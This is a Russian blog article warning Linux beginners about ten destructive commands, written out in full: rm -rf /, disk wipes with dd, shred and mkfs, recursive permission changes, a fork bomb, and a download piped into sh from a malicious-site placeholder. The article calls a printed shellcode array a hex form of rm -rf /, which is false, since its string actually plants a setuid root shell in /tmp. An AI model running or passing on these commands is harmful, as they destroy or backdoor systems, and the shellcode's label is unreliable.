10 команд Linux, которые убьют ваш сервер

29 January

Привет! Еcли ты только начал осваивать Linux, то просто обязан знать то, что я сейчас тебе расскажу.

В Linux есть целых 10 команд, которые ты никогда не должен вводить в командную строку или советовать кому-нибудь это сделать.

Это как непростительные заклятия, которые не должен произносить ни один волшебник.

Их запуск может привести к самым негативным последствиям - безвозвратному удалению всей операционной системы или важных файлов, зацикливанию процессов и зависанию системы, заражению вредоносным кодом и другим неприятностям.

Внимание! Эти команды действительно могут навредить твоей системе. Компания Мерион Нетворкс снимает с себя всякую ответственность за последствия, исполнения читателями данных команд. Материал носит исключительно ознакомительный характер.

Дело в том, что Linux предполагает, что ты знаешь, что делаешь и, как правило, не спрашивает подтверждения прежде чем исполнить команду, даже если она может навредить.

В Интернете часто подшучивают над новичками, которые просят помощи в настройке Linux, предлагая им ввести эти команды, а затем "ловят лулзы" от реакции человека, который сообщает, что все сломалось окончательно. Чтобы не стать жертвой таких "доброжелателей" и других "темных сил" читай нашу статью!

НЕОБРАТИМЫЕ

И начнём мы с действительно "непростительных заклятий", последствия которых невозможно обратить:

10 команд Linux, которые убьют ваш сервер
10 команд Linux, которые убьют ваш сервер

  • rm –rf / - Удаляет всё, до чего только может добраться. Короче - “Avada Kedavra!” в Linux’е.

Чтобы лучше разобраться как она действует, давайте разобьём её на составляющие:

  • rm - команда для удаления файлов
  • -r - рекурсивное удаление всех файлов внутри папки, включая вложенные папки и файлы в них
  • -f - означает “force”, не спрашивает подтверждения для выполнения операции у пользователя
  • /

- “слэшом” обозначается корневая директория ОС, которая содержит в себе не только все файлы системы, но также и подключенные устройства, такие как удаленные директории (сетевые шары), USB-носители и другое.

Таким образом, система поймёт данную команду как: “Удали мне всё, что можно и начни с корневой директории!”

В GNU/Linux, ОС Solaris и FreeBSD есть механизмы защиты, от ввода данной команды. Например, в GNU система не даёт ввести эту команду, так как в конфиге активирована функция --preserve-root. Однако, если добавить к ней ключ --no-preserve-root, то команда всё же сработает.

Существует несколько вариаций для маскировки этой команды, так что запомни их и не спеши слепо вводить в консоль:

mkdir test
cd test
touch ./-r
touch ./-f
su
rm * /

Делает то же самое, но усыпляет бдительность, создавая ненужную директорию “test”

char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68”
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99”
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7”
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56”
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31”
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69”
“\x6e\x2f\x73\x68\x00\x2d\x63\x00”
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

16-ричное представление команды rm –rf /, его система тоже поймёт.

  • sudo dd if=/dev/zero of=/dev/sda bs=8m - Заполняет начальные 40Мбайт (8m) жесткого диска, которые содержат важные данные структуры нулями. Что делает невозможным их восстановление и приводит к невозможности загрузки ОС.

/dev/zero – это некое псевдоустройство, которое делает только одно – генерирует нули, а /dev/sda - это, как правило, устройство жёсткого диска. Командой dd мы как бы говорим системе: “Скопируй данные из генератора нулей и замени ею первые 40Мбайт на моём жестком диске!”

Обратите внимание на sudo перед последующей командой. Это значит, что её можно исполнить только под пользователем root.
Встречается ещё использование другого псевдоустройства - if=/dev/random. В отличие от /dev/zero он генерирует абсолютно рандомный, несвязный бред. Применяется в основном для генерации ключей.
  • shred /dev/sda - Удалит все данные на жёстком диске. Команду можно прервать комбинацией Ctrl+C, но всё равно будет слишком поздно, чтобы восстановить критичные области. Кстати, на самом деле shred использует те же генераторы бреда /dev/random или /dev/urandom и начинает заполнять диск данными от них.
  • mkfs.ext3 /dev/sda - Форматирование жесткого диска. По сути, эта команда создаёт новую файловую систему ext3 (или ещё бывает ext4) на жестком диске, предварительно стирая с него все данные.
  • chmod -Rv 000 / - Отнимает все разрешения на все файлы и все папки в системе. После ввода этой команды систему нельзя будет даже перезагрузить. А если перезагрузить её вручную, то она всё равно уже не сможет запуститься нормально, так как запрашиваемые при загрузке компоненты будут недоступны.
  • chown -R nobody:nobody / - Меняет владельца всех файлов и папок системы на “никого”. По сути, эффект от ввода этой команды таким же, как и от предыдущий. Поскольку никто не является владельцем ничего в системе, то и сделать он с ней ничего не сможет, даже запустить.

ОПАСНЫЕ, НО ОБРАТИМЫЕ

  • :(){ :|:& };: - Логическая бомба (известная также как fork bomb), забивающая память системы, что в итоге приводит к её зависанию.

Чтобы лучше понять, как она действует, давайте её немного преобразуем:

fu() {
fu | fu &
}
fu

Этот Bash код создаёт функцию, которая запускает ещё два своих экземпляра, которые, в свою очередь снова запускают эту функцию и так до тех пор, пока этот процесс не займёт всю физическую память компьютера, и он просто не зависнет. Ни к чему фатальному это конечно не приведет, но перезагрузиться всё же придётся.

  • команда > file.conf - Команда, которая может перезаписать важный конфигурационный файл. В Linux есть две функции, которые часть путают > - заменить и >> - добавить. Таким образом, если написать какую-команду и неправильно использовать функцию замены при редактировании конфигурационного файла, можно потерять его содержимое. А если написать > file.conf, то можно просто стереть содержимое файла.
  • http://вредоносный_сайт -O- | sh - Скачивание и последующие исполнение какого-либо скрипта c сайта в Интернете. Если ресурс, с которого ты качаешь скрипт окажется вредоносным, то ты рискуешь заразить свою систему, ведь в скрипте может оказаться код, написанный злоумышленником, который с радостью исполнит твоя система. Так что внимательно относись к тому, что скачиваешь и запускаешь.
  • chmod -R 777 / - Даёт разрешение всем пользователям системы читать, перезаписывать и запускать всё что угодно. Конечно, с такой системой можно жить и работать, но её безопасность будет под угрозой.
Стоит отметить, что в различных дистрибутивах Linux есть механизмы защиты от ввода данных команд, где-то спрашивают пароль root, где-то запрашивают подтверждение на исполнение, где-то просят ввести специальные ключи.

Ну вот и всё, теперь у тебя есть представление о командах Linux, которые никогда не стоит вводить в консоль. Мы также надеемся, что ты не будешь советовать неопытным пользователям их вводить. Надеемся эта статья была тебя полезна, а если ты знаешь ещё какие нибудь “непростительные заклинания” и опасные команды в Linux – пиши их в комментариях!